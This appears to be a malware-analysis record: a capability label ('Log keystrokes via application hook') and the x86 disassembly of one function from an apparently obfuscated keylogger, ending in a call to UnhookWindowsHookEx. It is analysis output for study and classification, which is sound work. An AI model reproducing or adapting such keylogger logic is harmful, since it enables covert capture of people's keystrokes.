Function at 0x413740
Capabilities:
Log keystrokes via application hook

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [0x45dbd4]
mov eax, 0xca9db4d5
imul edi
mov eax, dword [0x45dbdc]
imul eax, eax, 0xdbb5
add edx, edi
sar edx, 0x10
mov ecx, eax
mov ebx, edx
mov ebp, dword [0x45dbcc]
shr ebx, 0x1f
add ebx, edx
mov eax, 0xbf1fa759
imul edi
add edx, edi
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xbf1fa759
imul ebp
mov eax, ecx
add edx, ebp
sar edx, 0x10
add eax, edx
mov esi, dword [0x45dbe8]
mov ecx, edx
imul esi, esi, 0x156ac
mov edx, ebp
imul edx, edx, 0x14289
shr ecx, 0x1f
add ecx, eax
add ecx, edx
mov eax, 0x7f55e343
imul ebp
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, dword [section.dfsaewr4]
add ecx, ebx
add ecx, esi
test eax, eax
mov dword [str._r_____r____], ecx
jne 0x413870
mov eax, dword [0x5716f0]
test eax, eax
jne 0x413870
mov ecx, dword [0x45dbe4]
mov esi, dword [0x45dbe0]
mov eax, 0x9524e185
imul esi, esi, 0x5556
imul ecx
add edx, ecx
sar edx, 0xf
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [0x45dbd0]
mov eax, 0x32cc2d1b
imul ecx
sar edx, 0xe
add esi, edx
mov edi, edx
mov eax, 0x8116582f
imul ecx
add edx, ecx
sar edx, 0xd
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x3f76
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x3af417
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add esi, edx
pop edi
add eax, esi
pop esi
pop ebp
mov dword [0x45dbc8], eax
mov eax, 1
pop ebx
pop ecx
ret
mov eax, 0x9524e185
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
mov edi, dword [0x45dbe4]
imul edx, edx, 0x14289
add eax, edx
mov edx, edi
imul edx, edx, 0x3f76
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x72c3c0b5
imul ebp
mov ebp, dword [esp + 0x10]
sar edx, 0xe
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
mov ebp, dword [0x45dbc8]
sub eax, esi
imul ebp, ebp, 0xdbb5
sub eax, ecx
lea ecx, [eax + ebx + 0x11aa4]
mov ebx, dword [0x45dbdc]
mov dword [0x45dbcc], ecx
mov ecx, dword [0x45dbd8]
mov edx, ecx
imul edx, edx, 0x156e6
add ebp, edx
mov eax, 0xbf1fa759
imul ebx
add edx, ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x8116582f
imul ecx
add edx, ecx
mov ecx, dword [0x45dbd0]
sar edx, 0xd
mov ebx, edx
add ebp, edx
mov eax, 0x39f7b4f
imul ecx
mov eax, dword [section.dfsaewr4]
sar edx, 0xa
mov ecx, edx
shr ebx, 0x1f
shr ecx, 0x1f
add ecx, edx
add ebx, ebp
sub ebx, ecx
sub ebx, edi
lea edx, [ebx + esi - 0x3f76]
push eax
mov dword [0x45dbd0], edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov esi, dword [0x45dbe0]
mov edi, eax
test edi, edi
je 0x4139cb
mov ebx, dword [0x45dbdc]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea ebp, [edx + ecx]
imul ecx, ecx, 0x14373
mov eax, 0xca9db4d5
imul ebp, ebp, 0xdbb5
imul ebx
add edx, ebx
sar edx, 0x10
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
add eax, ecx
mov ecx, ebx
imul ecx, ecx, 0x14289
add eax, ecx
mov ebp, eax
mov eax, 0x72c3c0b5
imul ebx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
xor eax, eax
lea ebx, [esi + ebp - 0x3f76]
mov dword [0x45dbd4], ebx
mov dword [section.dfsaewr4], eax
mov dword [0x5716f0], eax
jmp 0x4139d1
mov ebx, dword [0x45dbd4]
mov ecx, dword [0x45dbe8]
mov eax, 0x2fd0003
imul ecx
sar edx, 0xa
mov ebp, edx
shr ebp, 0x1f
add ebp, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x14373
add ebp, edx
mov eax, 0xca9db4d5
imul ebx
add edx, ebx
sar edx, 0x10
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x32cc2d1b
imul ecx
imul ecx, ecx, 0x3f76
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x72c3c0b5
imul esi
imul esi, esi, 0x8ec3
sub ebp, ecx
sar edx, 0xe
mov ecx, edx
add ebp, edx
shr ecx, 0x1f
add ecx, ebp
mov eax, edi
pop edi
add ecx, esi
pop esi
pop ebp
mov dword [0x45dbd8], ecx
pop ebx
pop ecx
ret